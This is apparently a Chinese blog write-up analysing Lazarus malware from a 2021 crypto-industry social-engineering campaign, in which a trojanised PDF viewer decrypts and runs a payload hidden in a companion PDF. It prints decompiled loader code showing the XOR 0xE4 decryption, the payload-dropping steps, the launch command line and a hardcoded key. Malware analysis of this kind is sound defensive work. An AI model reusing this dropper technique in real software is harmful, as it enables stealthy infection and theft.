lazurs社工中使用的病毒分析
概述
2021年9月份,Lazurs被捕获到对加密货币行业进行社工攻击。攻击者通过即时聊天软件和目标沟通,并发送一个开源PDF查看软件Secure PDF Viewer.exe和一个PDF查看文件Android Hardware Wallet.pdf。单独的Secure PDF Viewer.exe无恶意行为,Android Hardware Wallet.pdf打开时,会显示
从而诱导用户使用Secure PDF Viewer.exe打开。当使用Secure PDF Viewer.exe打开Android Hardware Wallet.pdf时,会解密并加载其中的payload,释放恶意文件,执行恶意行为。
分析过程
Secure PDF Viewer.exe
通过GetOpenFileNameW交叉引用找到打开文件部分分析。
if ( GetOpenFileNameW(&v82) ) { v57 = &v82.lpstrFile[v82.nFileOffset]; v124 = 0; memset(v125, 0, sizeof(v125)); Buffer = 0; memset(v127, 0, sizeof(v127)); if ( (unsigned int)sub_140015EE0(v57) == 2 ) { GetTempPathW(0x104u, &Buffer); wsprintfW(&v124, L"%s\\%s", &Buffer, v57); } else { v58 = v82.lpstrFile; v59 = (char *)&v124 - (char *)v82.lpstrFile; do { v60 = *v58++; *(LPWSTR)((char *)v58 + v59 - 2) = v60; } while ( v60 ); } //...
查看sub_140015EE0
if ( *(_DWORD *)&fileContent[fileLen - 4] != 0x78563412 ) return 0i64; v9 = Str; v10 = &fileContent[fileLen - 524]; v11 = 4i64; do { v12 = *(_OWORD *)v10; v9 += 64; v10 += 128; *((_OWORD *)v9 - 8) = v12; *((_OWORD *)v9 - 7) = *((_OWORD *)v10 - 7); *((_OWORD *)v9 - 6) = *((_OWORD *)v10 - 6); *((_OWORD *)v9 - 5) = *((_OWORD *)v10 - 5); *((_OWORD *)v9 - 4) = *((_OWORD *)v10 - 4); *((_OWORD *)v9 - 3) = *((_OWORD *)v10 - 3); *((_OWORD *)v9 - 2) = *((_OWORD *)v10 - 2); *((_OWORD *)v9 - 1) = *((_OWORD *)v10 - 1); --v11; } while(v11); v13 = _mm_load_si128((const __m128i *)&xmmword_140541B50); *(_QWORD *)v9 = *(_QWORD *)v10;
判断文件是否以0x78563412结尾,恶意PDF恰好是这个特征
然后赋值。另外可执行文件和PDF文件需要在同一文件夹才会执行。
然后复制520个字节到缓冲区,执行以下解密动作
v14 = 0; v15 = 0i64; do { v14 += 16; *(__m128i *)((char *)Str + v15) = _mm_xor_si128(_mm_loadu_si128((const __m128i *)((char *)Str + v15)), v13); v15 = v14; } while ( (unsigned __int64)v14 < 0x200 ); if ( (unsigned __int64)v14 < 0x208 ) { v16 = (char *)Str + v14; do { *v16 ^= 0xE4u; ++v14; ++v16; } while ( (unsigned __int64)v14 < 0x208 ); }
即每一个字节异或0xE4。解密结果为
CAST_decrypt|c39NEKJGxb6y7Bbt|0422
除此之外还有若干0
接下来的代码提取了三个参数
v17 = wcschr(Str, '|'); if ( !v17 ) { do { v18 = *(wchar_t *)((char *)Str + v1); v1 += 2i64; } while ( v18 ); return 1i64; } wcsncpy(&arg1, Str, v17 - Str); *(&arg1 + v17 - Str) = 0; v19 = v17 + 1; if ( !v19 ) return 1i64; v20 = wcschr(v19, 0x7Cu); v21 = v20; if ( !v20 ) { v22 = (char *)((char *)&arg2 - (char *)v19); do { v23 = *v19++; *(_WORD *)&v22[(_QWORD)v19 - 2] = v23; } while ( v23 ); return 1i64; } v24 = v20 - v19; wcsncpy(&arg2, v19, v24); *(&arg2 + v24) = 0; v25 = (char *)(v21 + 1); if ( v21 == (wchar_t *)-2i64 ) return 1i64; v26 = wcschr(v21 + 1, 0x7Cu); if ( v26 ) { v29 = ((char *)v26 - v25) >> 1; wcsncpy(&arg3, v21 + 1, v29); *(&arg3 + v29) = 0; } else { v27 = (char *)((char *)&arg3 - v25); do { v28 = *(_WORD *)v25; v25 += 2; *(_WORD *)&v27[(_QWORD)v25 - 2] = v28; } while ( v28 ); }
获取另一部分payload大小并分配空间,将payload移动到临时空间
v30 = *(unsigned int *)&fileContent[fileLen_1 - 528]; v31 = v30; v32 = (char *)LocalAlloc(0x40u, (unsigned int)v30); memset(v32, 0, (unsigned int)v30); v58 = &fileContent[fileLen_1 - v30]; memmove(v32, v58 - 528, (unsigned int)v30);
解密
if ( (_DWORD)v30 ) { if ( (unsigned int)v30 >= 0x10 ) { do { v34 = v33; v33 += 16; *(__m128i *)&v32[v34] = _mm_xor_si128(_mm_loadu_si128((const __m128i *)&v32[v34]), v13); } while ( v33 < (unsigned __int64)((unsigned int)v30 - (v30 & 0xF)) ); } if ( v33 < (unsigned int)v30 ) { v35 = &v32[v33]; v36 = (unsigned int)(v30 - v33); do { *v35++ ^= 0xE4u; --v36; } while ( v36 ); } }
将文件写入
GetTempPathW(0x104u, &Buffer); wsprintfW(&Buffer, L"%s\\%s", &Buffer, filename1); DeleteFileW(&Buffer); v37 = CreateFileW(&Buffer, 0x40000000u, 4u, 0i64, 2u, 0x80u, 0i64); WriteFile(v37, v32, v30, &NumberOfBytesWritten, 0i64); CloseHandle(v37);
根据文件头得知,这里释放了一个诱饵PDF。
计算文件长度并解密文件
elf_len = *((unsigned int *)v58 - 133); v39 = LocalAlloc(0x40u, elf_len); memset(v39, 0, (unsigned int)elf_len); memmove(v39, &fileContent[fileLen_1 - elf_len - pdf_len - 532], (unsigned int)elf_len); v40 = 0; if ( (_DWORD)elf_len ) { if ( (unsigned int)elf_len >= 0x10 ) { do { v41 = v40; v40 += 16; *(__m128i *)((char *)v39 + v41) = _mm_xor_si128(_mm_loadu_si128((const __m128i *)((char *)v39 + v41)), v13); } while ( v40 < (unsigned int)elf_len - (elf_len & 0xF) ); } if ( v40 < (unsigned int)elf_len ) { v42 = &v39[v40 / 2u]; v43 = (unsigned int)(elf_len - v40); do { *v42++ ^= 0xE4u; --v43; } while ( v43 ); } } if ( *v39 == 'ZM' ) v44 = (_QWORD *)sub_14000C510(v54, v39, v39); else v44 = 0i64;
解密出来的文件头为MZ,可执行文件
对sub_14000C510分析,发现是解析PE头,得到NT_OPTIONAL_HEADER
结合下面这段代码,知道是寻找arg1的参数
while ( stricmp(&arg1_1, (const char *)(v48 + *v50)) ) { LODWORD(v1) = v1 + 1; ++v50; ++v51; if ( (unsigned int)v1 >= v49[6] ) return 1i64; }
分析释放出来的dll,得到
while ( result ); if ( !v8 ) { result = 0; if ( strlen(a3) == 4 ) { CreateDirectoryA("C:\\ProgramData\\WindowsUpdate", 0i64); sprintf(&CommandLine, Format, FileName, v15, v17, a3); sub_1800016D0(&CommandLine); sub_180001180(v14, v49, v49); sub_1800013E0(v14, &unk_18000F500, &unk_18000F500, 110080i64); v9 = CreateFileA(FileName, 0x40000000u, 2u, 0i64, 2u, 0x80u, 0i64); v10 = v9; if ( v9 != (HANDLE)-1i64 && WriteFile(v9, &unk_18000F500, 0x1AE00u, &NumberOfBytesWritten, 0i64) ) CloseHandle(v10); result = CreateProcessA( 0i64, &CommandLine, 0i64, 0i64, 0, 0x8000000u, 0i64, 0i64, &StartupInfo, &ProcessInformation); if ( result ) { Sleep(0x64u); result = DeleteFileA(a1); } } } return result;
这里创建了一个进程
继续分析原EXE文件
将上面的参数转为bytes形式
do ++v45; while ( *(&arg1 + v45) ); WideCharToMultiByte(0, 0x200u, &arg1, -1, &arg1_1, v45, 0i64, 0i64); v46 = -1i64; do ++v46; while ( *(&arg2 + v46) ); WideCharToMultiByte(0, 0x200u, &arg2, -1, &arg2_1, v46, 0i64, 0i64); v47 = -1i64; do ++v47; while ( *(&arg3 + v47) ); WideCharToMultiByte(0, 0x200u, &arg3, -1, &arg3_1, v47, 0i64, 0i64);
下面调用了一个dll,调用关系比较复杂,通过调试得到一个C:\ProgramData\WindowsUpdate\MSCache.cpl
文件。
通过ProcessHacker拿到命令行
C:\\ProgramData\\WindowsUpdate\\MSCache.cpl,CAST_encrypt YV98lZjU0x4I55Ci 0422
第二阶段分析
使用IDA打开,结合对原可执行文件中sub_14000C510的分析,得知调用了CAST_encryptW
WideCharToMultiByte(0, 0x200u, &WideCharStr, -1, &MultiByteStr, -(int)v12 - 2, 0i64, 0i64); sub_1800038E0((unsigned __int8 *)Name); if ( !strncmp(Name, &MultiByteStr, 0x10ui64) )// 验证命令行参数 { CreateMutexA(0i64, 0, Name); if ( GetLastError() == 183 ) ExitProcess(0); strcpy((char *)v24, "tav!}C.mLq?d8a^$hCn/_A6US/5%#<=j"); decrypt1((__int64)v18, v24, (int *)v24); decrypt2((__int64)v18, (__int64)&unk_1800104E0, (__int64)&unk_1800104E0, 0xB410ui64); v17[0] = 0x708A0; v15 = LocalAlloc(0x40u, 0x708A0ui64); sub_180001FE0((__int64)v15, v17); ((void (__fastcall *)(void *))sub_180001A30)(v15); FreeLibraryAndExitThread(hLibModule, 0); }
使用火绒剑分析,监听到网络通信。所以在网络通信API下断点,找到第三阶段payload。
进行了http通信和获取命令,目前相关目录已被删除,只剩windows服务器空壳。
总结
每次分析都可以学到好多东西,虽然总是出现卡壳的情况,但是经过搜索、各种尝试终于解决了问题,还是蛮有成就感的。
这种攻击方式非常巧妙,可以很容易地绕过安全软件等,因为单独的一个软件、一个文档都不是恶意的,单独的一个payload也没办法解密。只有两个文件在同一个电脑上,并且有人用软件打开PDF文档,攻击才会进行。因此应该培养人的信息安全意识,不随意打开未知文件和软件
